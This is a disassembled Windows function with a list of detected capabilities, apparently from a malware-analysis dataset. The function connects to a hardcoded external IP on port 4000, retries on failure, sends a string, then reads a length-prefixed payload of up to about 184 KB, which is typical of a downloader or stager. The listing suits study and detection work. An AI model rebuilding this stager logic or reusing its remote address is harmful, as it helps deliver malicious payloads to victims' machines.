Function at 0x1400010e0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x1f0
mov rax, qword [0x14000f038]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
xor edi, edi
lea r12, str.120.46.63.138
mov rbx, 0xffffffffffffffff
mov r8d, edi
mov rax, rbx
mov r14, rcx
inc rax
cmp byte [r12 + rax], dil
jne 0x140001124
movsxd r9, eax
test eax, eax
jle 0x14000115a
mov rax, rdi
mov rcx, r12
nop word [rax + rax]
movzx edx, byte [rax + r12]
cmp dl, 0x20
je 0x140001152
inc r8d
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, r9
jl 0x140001140
movsxd rax, r8d
lea r15, str.4000
mov r8d, edi
mov byte [rax + r12], dil
mov rax, rbx
nop
inc rax
cmp byte [r15 + rax], dil
jne 0x140001170
movsxd r9, eax
test eax, eax
jle 0x1400011a0
mov rax, rdi
mov rcx, r15
movzx edx, byte [rax + r15]
cmp dl, 0x20
je 0x140001198
inc r8d
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, r9
jl 0x140001186
movsxd rax, r8d
lea r10, [0x14000f0f0]
mov r8d, edi
mov byte [rax + r15], dil
mov rax, rbx
inc rax
cmp byte [r10 + rax], dil
jne 0x1400011b4
movsxd r9, eax
test eax, eax
jle 0x1400011ea
mov rax, rdi
mov rcx, r10
nop word [rax + rax]
movzx edx, byte [rax + r10]
cmp dl, 0x20
je 0x1400011e2
inc r8d
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, r9
jl 0x1400011d0
movsxd rax, r8d
lea rdx, [rsp + 0x40]
mov esi, 2
mov ecx, esi
mov byte [rax + r10], dil
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
lea edx, [rsi - 1]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, r12
mov rbp, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, r15
mov word [rsp + 0x28], si
mov dword [rsp + 0x2c], eax
call qword [sym.imp.msvcrt.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x2a], ax
mov esi, edi
xor r15b, r15b
cmp esi, 5
jge 0x14000130c
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetDim
lea rdx, [rsp + 0x28]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, ebx
jne 0x14000127d
lea rcx, str.Connect_Failed
call fcn.140001080
mov ecx, 0x1388
inc esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001241
lea rcx, str.Connect_Successfully_
mov r15b, 1
call fcn.140001080
nop dword [rax]
inc rbx
cmp byte [r14 + rbx], dil
jne 0x140001290
mov r8, rbx
xor r9d, r9d
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rbp
lea r8d, [r9 + 4]
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, dword [rsp + 0x20]
test ebx, ebx
jle 0x140001314
lea rsi, [0x14000f8e0]
nop
movsxd r9, edi
mov ecx, 0x2d000
sub ecx, edi
mov eax, ebx
mov r8d, ebx
mov edx, 0x2d000
sub rdx, r9
cmp rdx, rax
lea rdx, [r9 + rsi]
cmovb r8d, ecx
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140001314
sub ebx, eax
add edi, eax
test ebx, ebx
jg 0x1400012d0
jmp 0x140001314
mov rcx, r14
call fcn.1400010e0
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
movzx eax, r15b
dec eax
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.1400020d0
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret